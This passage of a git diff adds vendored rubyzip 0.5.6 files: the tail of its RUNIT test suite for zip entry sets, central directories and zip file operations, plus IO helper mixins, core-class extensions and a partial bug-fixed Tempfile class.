assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + assert_equals(ZIP_ENTRIES.size, @zipEntrySet.length) + @zipEntrySet << ZipEntry.new("a", "b", "c") + assert_equals(ZIP_ENTRIES.size + 1, @zipEntrySet.length) + end + + def test_add + zes = ZipEntrySet.new + entry1 = ZipEntry.new("zf.zip", "name1") + entry2 = ZipEntry.new("zf.zip", "name2") + zes << entry1 + assert(zes.include?(entry1)) + zes.push(entry2) + assert(zes.include?(entry2)) + end + + def test_delete + assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + entry = @zipEntrySet.delete(ZIP_ENTRIES.first) + assert_equals(ZIP_ENTRIES.size - 1, @zipEntrySet.size) + assert_equals(ZIP_ENTRIES.first, entry) + + entry = @zipEntrySet.delete(ZIP_ENTRIES.first) + assert_equals(ZIP_ENTRIES.size - 1, @zipEntrySet.size) + assert_nil(entry) + end + + def test_each + # Tested indirectly via each_with_index + count = 0 + @zipEntrySet.each_with_index { + |entry, index| + assert(ZIP_ENTRIES.include?(entry)) + count = count.succ + } + assert_equals(ZIP_ENTRIES.size, count) + end + + def test_entries + assert_equals(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort) + end + + def test_compound + newEntry = ZipEntry.new("zf.zip", "new entry", "new entry's comment") + assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + @zipEntrySet << newEntry + assert_equals(ZIP_ENTRIES.size + 1, @zipEntrySet.size) + assert(@zipEntrySet.include?(newEntry)) + + @zipEntrySet.delete(newEntry) + assert_equals(ZIP_ENTRIES.size, @zipEntrySet.size) + end + + def test_dup + copy = @zipEntrySet.dup + assert_equals(@zipEntrySet, copy) + + # demonstrate that this is a deep copy + copy.entries[0].name = "a totally different name" + assert(@zipEntrySet != copy) + end + + def test_parent + entries = [ + ZipEntry.new("zf.zip", "a"), + ZipEntry.new("zf.zip", "a/"), + ZipEntry.new("zf.zip", "a/b"), + ZipEntry.new("zf.zip", "a/b/"), + ZipEntry.new("zf.zip", "a/b/c"), + ZipEntry.new("zf.zip", "a/b/c/") + ] + entrySet = ZipEntrySet.new(entries) + + assert_equals(nil, entrySet.parent(entries[0])) + assert_equals(nil, entrySet.parent(entries[1])) + assert_equals(entries[1], entrySet.parent(entries[2])) + assert_equals(entries[1], entrySet.parent(entries[3])) + assert_equals(entries[3], entrySet.parent(entries[4])) + assert_equals(entries[3], entrySet.parent(entries[5])) + end +end + + +class ZipCentralDirectoryTest < RUNIT::TestCase + + def test_read_from_stream + File.open(TestZipFile::TEST_ZIP2.zip_name, "rb") { + |zipFile| + cdir = ZipCentralDirectory.read_from_stream(zipFile) + + assert_equals(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size) + assert(cdir.entries.sort.compare_enumerables(TestZipFile::TEST_ZIP2.entry_names.sort) { + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) + assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) + } + end + + def test_readFromInvalidStream + File.open("file2.txt", "rb") { + |zipFile| + cdir = ZipCentralDirectory.new + cdir.read_from_stream(zipFile) + } + fail "ZipError expected!" + rescue ZipError + end + + def test_ReadFromTruncatedZipFile + fragment="" + File.open("testDirectory.bin") { |f| fragment = f.read } + fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete + fragment.extend(IOizeString) + entry = ZipCentralDirectory.new + entry.read_from_stream(fragment) + fail "ZipError expected" + rescue ZipError + end + + def test_write_to_stream + entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] + cdir = ZipCentralDirectory.new(entries, "my zip comment") + File.open("cdirtest.bin", "wb") { |f| cdir.write_to_stream(f) } + cdirReadback = ZipCentralDirectory.new + File.open("cdirtest.bin", "rb") { |f| cdirReadback.read_from_stream(f) } + + assert_equals(cdir.entries.sort, cdirReadback.entries.sort) + end + + def test_equality + cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") + cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") + cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") + cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") + assert_equals(cdir1, cdir1) + assert_equals(cdir1, cdir2) + + assert(cdir1 != cdir3) + assert(cdir2 != cdir3) + assert(cdir2 != cdir3) + assert(cdir3 != cdir4) + + assert(cdir3 != "hello") + end +end + + +class BasicZipFileTest < RUNIT::TestCase + include AssertEntry + + def setup + @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zip_name) + @testEntryNameIndex=0 + end + + def test_entries + assert_equals(TestZipFile::TEST_ZIP2.entry_names.sort, + @zipFile.entries.entries.sort.map {|e| e.name} ) + end + + def test_each + count = 0 + visited = {} + @zipFile.each { + |entry| + assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) + assert(! visited.include?(entry.name)) + visited[entry.name] = nil + count = count.succ + } + assert_equals(TestZipFile::TEST_ZIP2.entry_names.length, count) + end + + def test_foreach + count = 0 + visited = {} + ZipFile.foreach(TestZipFile::TEST_ZIP2.zip_name) { + |entry| + assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) + assert(! visited.include?(entry.name)) + visited[entry.name] = nil + count = count.succ + } + assert_equals(TestZipFile::TEST_ZIP2.entry_names.length, count) + end + + def test_get_input_stream + count = 0 + visited = {} + @zipFile.each { + |entry| + assert_entry(entry.name, @zipFile.get_input_stream(entry), entry.name) + assert(! visited.include?(entry.name)) + visited[entry.name] = nil + count = count.succ + } + assert_equals(TestZipFile::TEST_ZIP2.entry_names.length, count) + end + + def test_get_input_streamBlock + fileAndEntryName = @zipFile.entries.first.name + @zipFile.get_input_stream(fileAndEntryName) { + |zis| + assert_entryContentsForStream(fileAndEntryName, + zis, + fileAndEntryName) + } + end +end + +class CommonZipFileFixture < RUNIT::TestCase + include AssertEntry + + EMPTY_FILENAME = "emptyZipFile.zip" + + TEST_ZIP = TestZipFile::TEST_ZIP2.clone + TEST_ZIP.zip_name = "4entry_copy.zip" + + def setup + File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) + File.copy(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) + end +end + +class ZipFileTest < CommonZipFileFixture + + def test_createFromScratch + comment = "a short comment" + + zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) + zf.get_output_stream("myFile") { |os| os.write "myFile contains just this" } + zf.mkdir("dir1") + zf.comment = comment + zf.close + + zfRead = ZipFile.new(EMPTY_FILENAME) + assert_equals(comment, zfRead.comment) + assert_equals(2, zfRead.entries.length) + end + + def test_get_output_stream + entryCount = nil + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + entryCount = zf.size + zf.get_output_stream('newEntry.txt') { + |os| + os.write "Putting stuff in newEntry.txt" + } + assert_equals(entryCount+1, zf.size) + assert_equals("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) + + zf.get_output_stream(zf.get_entry('empty.txt')) { + |os| + os.write "Putting stuff in empty.txt" + } + assert_equals(entryCount+1, zf.size) + assert_equals("Putting stuff in empty.txt", zf.read("empty.txt")) + + } + + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_equals(entryCount+1, zf.size) + assert_equals("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) + assert_equals("Putting stuff in empty.txt", zf.read("empty.txt")) + } + end + + def test_add + srcFile = "file2.txt" + entryName = "newEntryName.rb" + assert(File.exists?(srcFile)) + zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) + zf.add(entryName, srcFile) + zf.close + + zfRead = ZipFile.new(EMPTY_FILENAME) + assert_equals("", zfRead.comment) + assert_equals(1, zfRead.entries.length) + assert_equals(entryName, zfRead.entries.first.name) + AssertEntry.assert_contents(srcFile, + zfRead.get_input_stream(entryName) { |zis| zis.read }) + end + + def test_addExistingEntryName + assert_exception(ZipEntryExistsError) { + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.add(zf.entries.first.name, "file2.txt") + } + } + end + + def test_addExistingEntryNameReplace + gotCalled = false + replacedEntry = nil + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + replacedEntry = zf.entries.first.name + zf.add(replacedEntry, "file2.txt") { gotCalled = true; true } + } + assert(gotCalled) + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_contains(zf, replacedEntry, "file2.txt") + } + end + + def test_addDirectory + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) + } + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } + assert(dirEntry.is_directory) + } + end + + def test_remove + entryToRemove, *remainingEntries = TEST_ZIP.entry_names + + File.copy(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) + + zf = ZipFile.new(TEST_ZIP.zip_name) + assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) + zf.remove(entryToRemove) + assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) + assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zip_name) + assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) + assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) + zfRead.close + end + + + def test_rename + entryToRename, *remainingEntries = TEST_ZIP.entry_names + + zf = ZipFile.new(TEST_ZIP.zip_name) + assert(zf.entries.map { |e| e.name }.include?(entryToRename)) + + newName = "changed name" + assert(! zf.entries.map { |e| e.name }.include?(newName)) + + zf.rename(entryToRename, newName) + assert(zf.entries.map { |e| e.name }.include?(newName)) + + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zip_name) + assert(zfRead.entries.map { |e| e.name }.include?(newName)) + zfRead.close + end + + def test_renameToExistingEntry + oldEntries = nil + ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } + + assert_exception(ZipEntryExistsError) { + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) + } + } + + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_equals(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) + } + end + + def test_renameToExistingEntryOverwrite + oldEntries = nil + ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } + + gotCalled = false + renamedEntryName = nil + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + renamedEntryName = zf.entries[0].name + zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } + } + + assert(gotCalled) + oldEntries.delete_if { |e| e.name == renamedEntryName } + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_equals(oldEntries.sort.map{ |e| e.name }, + zf.entries.sort.map{ |e| e.name }) + } + end + + def test_renameNonEntry + nonEntry = "bogusEntry" + target_entry = "target_entryName" + zf = ZipFile.new(TEST_ZIP.zip_name) + assert(! zf.entries.include?(nonEntry)) + assert_exception(Errno::ENOENT) { + zf.rename(nonEntry, target_entry) + } + zf.commit + assert(! zf.entries.include?(target_entry)) + ensure + zf.close + end + + def test_renameEntryToExistingEntry + entry1, entry2, *remaining = TEST_ZIP.entry_names + zf = ZipFile.new(TEST_ZIP.zip_name) + assert_exception(ZipEntryExistsError) { + zf.rename(entry1, entry2) + } + ensure + zf.close + end + + def test_replace + entryToReplace = TEST_ZIP.entry_names[2] + newEntrySrcFilename = "file2.txt" + zf = ZipFile.new(TEST_ZIP.zip_name) + zf.replace(entryToReplace, newEntrySrcFilename) + + zf.close + zfRead = ZipFile.new(TEST_ZIP.zip_name) + AssertEntry::assert_contents(newEntrySrcFilename, + zfRead.get_input_stream(entryToReplace) { |is| is.read }) + AssertEntry::assert_contents(TEST_ZIP.entry_names[0], + zfRead.get_input_stream(TEST_ZIP.entry_names[0]) { |is| is.read }) + AssertEntry::assert_contents(TEST_ZIP.entry_names[1], + zfRead.get_input_stream(TEST_ZIP.entry_names[1]) { |is| is.read }) + AssertEntry::assert_contents(TEST_ZIP.entry_names[3], + zfRead.get_input_stream(TEST_ZIP.entry_names[3]) { |is| is.read }) + zfRead.close + end + + def test_replaceNonEntry + entryToReplace = "nonExistingEntryname" + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_exception(Errno::ENOENT) { + zf.replace(entryToReplace, "file2.txt") + } + } + end + + def test_commit + newName = "renamedFirst" + zf = ZipFile.new(TEST_ZIP.zip_name) + oldName = zf.entries.first + zf.rename(oldName, newName) + zf.commit + + zfRead = ZipFile.new(TEST_ZIP.zip_name) + assert(zfRead.entries.detect { |e| e.name == newName } != nil) + assert(zfRead.entries.detect { |e| e.name == oldName } == nil) + zfRead.close + + zf.close + end + + # This test tests that after commit, you + # can delete the file you used to add the entry to the zip file + # with + def test_commitUseZipEntry + File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") + zf = ZipFile.open(TEST_ZIP.zip_name) + zf.add("okToDelete.txt", "okToDelete.txt") + assert_contains(zf, "okToDelete.txt") + zf.commit + File.move("okToDelete.txt", "okToDeleteMoved.txt") + assert_contains(zf, "okToDelete.txt", "okToDeleteMoved.txt") + end + +# def test_close +# zf = ZipFile.new(TEST_ZIP.zip_name) +# zf.close +# assert_exception(IOError) { +# zf.extract(TEST_ZIP.entry_names.first, "hullubullu") +# } +# end + + def test_compound1 + renamedName = "renamedName" + originalEntries = [] + begin + zf = ZipFile.new(TEST_ZIP.zip_name) + originalEntries = zf.entries.dup + + assert_not_contains(zf, TestFiles::RANDOM_ASCII_FILE1) + zf.add(TestFiles::RANDOM_ASCII_FILE1, + TestFiles::RANDOM_ASCII_FILE1) + assert_contains(zf, TestFiles::RANDOM_ASCII_FILE1) + + zf.rename(zf.entries[0], renamedName) + assert_contains(zf, renamedName) + + TestFiles::BINARY_TEST_FILES.each { + |filename| + zf.add(filename, filename) + assert_contains(zf, filename) + } + + assert_contains(zf, originalEntries.last.to_s) + zf.remove(originalEntries.last.to_s) + assert_not_contains(zf, originalEntries.last.to_s) + + ensure + zf.close + end + begin + zfRead = ZipFile.new(TEST_ZIP.zip_name) + assert_contains(zfRead, TestFiles::RANDOM_ASCII_FILE1) + assert_contains(zfRead, renamedName) + TestFiles::BINARY_TEST_FILES.each { + |filename| + assert_contains(zfRead, filename) + } + assert_not_contains(zfRead, originalEntries.last.to_s) + ensure + zfRead.close + end + end + + def test_compound2 + begin + zf = ZipFile.new(TEST_ZIP.zip_name) + originalEntries = zf.entries.dup + + originalEntries.each { + |entry| + zf.remove(entry) + assert_not_contains(zf, entry) + } + assert(zf.entries.empty?) + + TestFiles::ASCII_TEST_FILES.each { + |filename| + zf.add(filename, filename) + assert_contains(zf, filename) + } + assert_equals(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) + + zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") + assert_not_contains(zf, TestFiles::ASCII_TEST_FILES[0]) + assert_contains(zf, "newName") + ensure + zf.close + end + begin + zfRead = ZipFile.new(TEST_ZIP.zip_name) + asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup + asciiTestFiles.shift + asciiTestFiles.each { + |filename| + assert_contains(zf, filename) + } + + assert_contains(zf, "newName") + ensure + zfRead.close + end + end + + private + def assert_contains(zf, entryName, filename = entryName) + assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") + assert_entryContents(zf, entryName, filename) if File.exists?(filename) + end + + def assert_not_contains(zf, entryName) + assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") + end +end + +class ZipFileExtractTest < CommonZipFileFixture + EXTRACTED_FILENAME = "extEntry" + ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entry_names.reverse + + def setup + super + File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) + end + + def test_extract + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) + + assert(File.exists?(EXTRACTED_FILENAME)) + AssertEntry::assert_contents(EXTRACTED_FILENAME, + zf.get_input_stream(ENTRY_TO_EXTRACT) { |is| is.read }) + } + end + + def test_extractExists + writtenText = "written text" + File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } + + assert_exception(ZipDestinationFileExistsError) { + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) + } + } + File.open(EXTRACTED_FILENAME, "r") { + |f| + assert_equals(writtenText, f.read) + } + end + + def test_extractExistsOverwrite + writtenText = "written text" + File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } + + gotCalledCorrectly = false + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) { + |entry, extractLoc| + gotCalledCorrectly = zf.entries.first == entry && + extractLoc == EXTRACTED_FILENAME + true + } + } + + assert(gotCalledCorrectly) + File.open(EXTRACTED_FILENAME, "r") { + |f| + assert(writtenText != f.read) + } + end + + def test_extractNonEntry + zf = ZipFile.new(TEST_ZIP.zip_name) + assert_exception(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") } + ensure + zf.close if zf + end + + def test_extractNonEntry2 + outFile = "outfile" + assert_exception(Errno::ENOENT) { + zf = ZipFile.new(TEST_ZIP.zip_name) + nonEntry = "hotdog-diddelidoo" + assert(! zf.entries.include?(nonEntry)) + zf.extract(nonEntry, outFile) + zf.close + } + assert(! File.exists?(outFile)) + end + +end + +class ZipFileExtractDirectoryTest < CommonZipFileFixture + TEST_OUT_NAME = "emptyOutDir" + + def open_zip(&aProc) + assert(aProc != nil) + ZipFile.open(TestZipFile::TEST_ZIP4.zip_name, &aProc) + end + + def extract_test_dir(&aProc) + open_zip { + |zf| + zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) + } + end + + def setup + super + + Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME + File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME + end + + def test_extractDirectory + extract_test_dir + assert(File.directory?(TEST_OUT_NAME)) + end + + def test_extractDirectoryExistsAsDir + Dir.mkdir TEST_OUT_NAME + extract_test_dir + assert(File.directory?(TEST_OUT_NAME)) + end + + def test_extractDirectoryExistsAsFile + File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } + assert_exception(ZipDestinationFileExistsError) { extract_test_dir } + end + + def test_extractDirectoryExistsAsFileOverwrite + File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } + gotCalled = false + extract_test_dir { + |entry, destPath| + gotCalled = true + assert_equals(TEST_OUT_NAME, destPath) + assert(entry.is_directory) + true + } + assert(gotCalled) + assert(File.directory?(TEST_OUT_NAME)) + end +end + +class ZipStreamableFileTest < RUNIT::TestCase + def test_equality + zipEntry1 = ZipEntry.new("zf.zip", "entryname1", "comment") + zipEntry2 = ZipEntry.new("zf.zip", "entryname2", "comment") + + zipStreamableFile1 = ZipStreamableFile.new(zipEntry1, "path") + zipStreamableFile2 = ZipStreamableFile.new(zipEntry1, "path") + zipStreamableFile3 = ZipStreamableFile.new(zipEntry1, "anotherPath") + zipStreamableFile4 = ZipStreamableFile.new(zipEntry2, "path") + + assert_equals(zipStreamableFile1, zipStreamableFile1) + assert_equals(zipStreamableFile1, zipStreamableFile2) + assert(zipStreamableFile1 != zipStreamableFile3) + assert(zipStreamableFile1 != zipStreamableFile4) + assert(zipStreamableFile1 != zipEntry1) + assert(zipStreamableFile1 != "hej") + end +end + +END { + TestFiles::create_test_files(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) + TestZipFile::create_test_zips(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) + exit if ARGV.index("recreateonly") != nil +} + +class ZipExtraFieldTest < RUNIT::TestCase + def test_new + extra_pure = ZipExtraField.new("") + extra_withstr = ZipExtraField.new("foo") + assert_instance_of(ZipExtraField, extra_pure) + assert_instance_of(ZipExtraField, extra_withstr) + end + + def test_unknownfield + extra = ZipExtraField.new("foo") + assert_equals(extra["Unknown"], "foo") + extra.merge("a") + assert_equals(extra["Unknown"], "fooa") + extra.merge("barbaz") + assert_equals(extra.to_s, "fooabarbaz") + end + + + def test_merge + str = "UT\x5\0\x3\250$\r@Ux\0\0" + extra1 = ZipExtraField.new("") + extra2 = ZipExtraField.new(str) + assert(! extra1.member?("UniversalTime")) + assert(extra2.member?("UniversalTime")) + extra1.merge(str) + assert_equals(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime) + end + + def test_length + str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" + extra = ZipExtraField.new(str) + assert_equals(extra.local_length, extra.to_local_bin.length) + assert_equals(extra.c_dir_length, extra.to_c_dir_bin.length) + extra.merge("foo") + assert_equals(extra.local_length, extra.to_local_bin.length) + assert_equals(extra.c_dir_length, extra.to_c_dir_bin.length) + end + + + def test_to_s + str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" + extra = ZipExtraField.new(str) + assert_instance_of(String, extra.to_s) + + s = extra.to_s + extra.merge("foo") + assert_equals(s.length + 3, extra.to_s.length) + end + + def test_equality + str = "UT\x5\0\x3\250$\r@" + extra1 = ZipExtraField.new(str) + extra2 = ZipExtraField.new(str) + extra3 = ZipExtraField.new(str) + assert_equals(extra1, extra2) + + extra2["UniversalTime"].mtime = Time.now + assert(extra1 != extra2) + + extra3.create("IUnix") + assert(extra1 != extra3) + + extra1.create("IUnix") + assert_equals(extra1, extra3) + end + +end + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/ioextras.rb b/vendor/rubyzip-0.5.6/zip/ioextras.rb new file mode 100755 index 00000000..85785d6e --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/ioextras.rb @@ -0,0 +1,114 @@ +module IOExtras + module FakeIO + def kind_of?(object) + object == IO || super + end + end + + # Implements many of the convenience methods of IO + # such as gets, getc, readline and readlines + # depends on: input_finished?, produce_input and read + module AbstractInputStream + include Enumerable + include FakeIO + + def initialize + super + @lineno = 0 + @outputBuffer = "" + end + + attr_accessor :lineno + + def readlines(aSepString = $/) + retVal = [] + each_line(aSepString) { |line| retVal << line } + return retVal + end + + def gets(aSepString=$/) + @lineno = @lineno.next + return read if aSepString == nil + aSepString="#{$/}#{$/}" if aSepString == "" + + bufferIndex=0 + while ((matchIndex = @outputBuffer.index(aSepString, bufferIndex)) == nil) + bufferIndex=@outputBuffer.length + if input_finished? + return @outputBuffer.empty? ? nil : flush + end + @outputBuffer << produce_input + end + sepIndex=matchIndex + aSepString.length + return @outputBuffer.slice!(0...sepIndex) + end + + def flush + retVal=@outputBuffer + @outputBuffer="" + return retVal + end + + def readline(aSepString = $/) + retVal = gets(aSepString) + raise EOFError if retVal == nil + return retVal + end + + def each_line(aSepString = $/) + while true + yield readline(aSepString) + end + rescue EOFError + end + + alias_method :each, :each_line + end + + + #relies on << + module AbstractOutputStream + include FakeIO + + def write(data) + self << data + data.to_s.length + end + + + def print(*params) + self << params.to_s << $\.to_s + end + + def printf(aFormatString, *params) + self << sprintf(aFormatString, *params) + end + + def putc(anObject) + self << case anObject + when Fixnum then anObject.chr + when String then anObject + else raise TypeError, "putc: Only Fixnum and String supported" + end + anObject + end + + def puts(*params) + params << "\n" if params.empty? + params.flatten.each { + |element| + val = element.to_s + self << val + self << "\n" unless val[-1,1] == "\n" + } + end + + end + +end # IOExtras namespace module + + + +# Copyright (C) 2002-2004 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/stdrubyext.rb b/vendor/rubyzip-0.5.6/zip/stdrubyext.rb new file mode 100755 index 00000000..c3fc2acc --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/stdrubyext.rb @@ -0,0 +1,111 @@ +unless Enumerable.method_defined?(:inject) + module Enumerable #:nodoc:all + def inject(n = 0) + each { |value| n = yield(n, value) } + n + end + end +end + +module Enumerable #:nodoc:all + # returns a new array of all the return values not equal to nil + # This implementation could be faster + def select_map(&aProc) + map(&aProc).reject { |e| e.nil? } + end +end + +unless Object.method_defined?(:object_id) + class Object + # Using object_id which is the new thing, so we need + # to make that work in versions prior to 1.8.0 + alias object_id id + end +end + +unless File.respond_to?(:read) + class File + # singleton method read does not exist in 1.6.x + def self.read(fileName) + open(fileName) { |f| f.read } + end + end +end + +class String + def starts_with(aString) + rindex(aString, 0) == 0 + end + + def ends_with(aString) + index(aString, -aString.size) + end + + def ensure_end(aString) + ends_with(aString) ? self : self + aString + end + + def lchop + slice(1, length) + end +end + +class Time + + #MS-DOS File Date and Time format as used in Interrupt 21H Function 57H: + # + # Register CX, the Time: + # Bits 0-4 2 second increments (0-29) + # Bits 5-10 minutes (0-59) + # bits 11-15 hours (0-24) + # + # Register DX, the Date: + # Bits 0-4 day (1-31) + # bits 5-8 month (1-12) + # bits 9-15 year (four digit year minus 1980) + + + def to_binary_dos_time + (sec/2) + + (min << 5) + + (hour << 11) + end + + def to_binary_dos_date + (day) + + (month << 5) + + ((year - 1980) << 9) + end + + # Dos time is only stored with two seconds accuracy + def dos_equals(other) + to_i/2 == other.to_i/2 + end + + def self.parse_binary_dos_format(binaryDosDate, binaryDosTime) + second = 2 * ( 0b11111 & binaryDosTime) + minute = ( 0b11111100000 & binaryDosTime) >> 5 + hour = (0b1111100000000000 & binaryDosTime) >> 11 + day = ( 0b11111 & binaryDosDate) + month = ( 0b111100000 & binaryDosDate) >> 5 + year = ((0b1111111000000000 & binaryDosDate) >> 9) + 1980 + begin + return Time.local(year, month, day, hour, minute, second) + end + end +end + +class Module + def forward_message(forwarder, *messagesToForward) + methodDefs = messagesToForward.map { + |msg| + "def #{msg}; #{forwarder}(:#{msg}); end" + } + module_eval(methodDefs.join("\n")) + end +end + + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb new file mode 100755 index 00000000..11a7a84a --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb @@ -0,0 +1,195 @@ +# +# tempfile - manipulates temporary files +# +# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $ +# + +require 'delegate' +require 'tmpdir' + +module BugFix + +# A class for managing temporary files. This library is written to be +# thread safe. +class Tempfile < DelegateClass(File) + MAX_TRY = 10 + @@cleanlist = [] + + # Creates a temporary file of mode 0600 in the temporary directory + # whose name is basename.pid.n and opens with mode "w+". A Tempfile + # object works just like a File object. + # + # If tmpdir is omitted, the temporary directory is determined by + # Dir::tmpdir provided by 'tmpdir.rb'. + # When $SAFE > 0 and the given tmpdir is tainted, it uses + # /tmp. (Note that ENV values are tainted by default) + def initialize(basename, tmpdir=Dir::tmpdir) + if $SAFE > 0 and tmpdir.tainted? + tmpdir = '/tmp' + end + + lock = nil + n = failure = 0 + + begin + Thread.critical = true + + begin + tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) + lock = tmpname + '.lock' + n += 1 + end while @@cleanlist.include?(tmpname) or + File.exist?(lock) or File.exist?(tmpname) + + Dir.mkdir(lock) + rescue + failure += 1 + retry if failure < MAX_TRY + raise "cannot generate tempfile `%s'" % tmpname + ensure + Thread.critical = false + end + + @data = [tmpname] + @clean_proc = Tempfile.callback(@data) + ObjectSpace.define_finalizer(self, @clean_proc) + + @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) + @tmpname = tmpname + @@cleanlist << @tmpname + @data[1] = @tmpfile + @data[2] = @@cleanlist + + super(@tmpfile) + + # Now we have all the File/IO methods defined, you must not + # carelessly put bare puts(), etc. after this. + + Dir.rmdir(lock) + end + + # Opens or reopens the file with mode "r+". + def open + @tmpfile.close if @tmpfile + @tmpfile = File.open(@tmpname, 'r+') + @data[1] = @tmpfile + __setobj__(@tmpfile) + end + + def _close # :nodoc: + @tmpfile.close if @tmpfile + @data[1] = @tmpfile = nil + end + protected :_close + + # Closes the file. If the optional flag is true, unlinks the file + # after closing. + # + # If you don't explicitly unlink the temporary file, the removal + # will be delayed until the object is finalized. + def close(unlink_now=false) + if unlink_now + close! + else + _close + end + end + + # Closes and unlinks the file. + def close! + _close + @clean_proc.call + ObjectSpace.undefine_finalizer(self) + end + + # Unlinks the file. On UNIX-like systems, it is often a good idea + # to unlink a temporary file immediately after creating and opening + # it, because it leaves other programs zero chance to access the + # file. + def unlink + # keep this order for thread safeness + File.unlink(@tmpname) if File.exist?(@tmpname) + 